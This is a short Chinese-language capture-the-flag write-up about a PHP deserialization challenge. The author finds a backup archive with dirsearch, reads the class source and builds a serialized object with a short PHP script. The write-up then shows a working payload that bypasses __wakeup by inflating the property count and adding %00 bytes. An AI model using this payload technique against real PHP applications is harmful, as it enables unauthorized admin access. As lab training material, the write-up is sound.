打开靶机
我们的右键是不能用的。我们按f12打开查看器,
把蓝色那一部分删掉,再右键查看源代码。
好,没有什么有用的信息。既然他提示我们备份文件,那我们就dirsearch扫描一下目录。
可以看到有一个www.zip。我们访问下载。
可以看到有一个flag.php。很可惜是假的。我们打开index.php。
发现里面有一串php代码。是一个反序列化函数。还说包含了一个class.php。我们查看class.php
大概意思是说以get方式上传一个select,内容是password=100,username=admin的反序列化。当然还得绕过 __wakeup()函数。
<?php
class Name
{
private $username;
private $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
var_dump(serialize($a));
?>
这是我从别人那里偷了一段代码。下次用的时候改一下数值就行。我们找一个php在线网站跑一下。
就是这样:O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
当成员属性数目大于真是数目时会绕过 __wakeup()函数。也就是说把Name后面的2改为一个大于2的值。这里我们改为3。、
然后我们发现不行。然后看了一下才知道用序列化加%00\n在序列化时,Public属性序列化后格式:成员名,Private属性序列化后格式:%00类名%00成员名,Protected属性序列化后的格式:%00*%00成员名。\n但是在对序列化后的数据直接进行复制时会丢失 %00 所以我们对其手动补全,并更改成员属性数目使其大于实际数目那我们就加%00
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
出来了。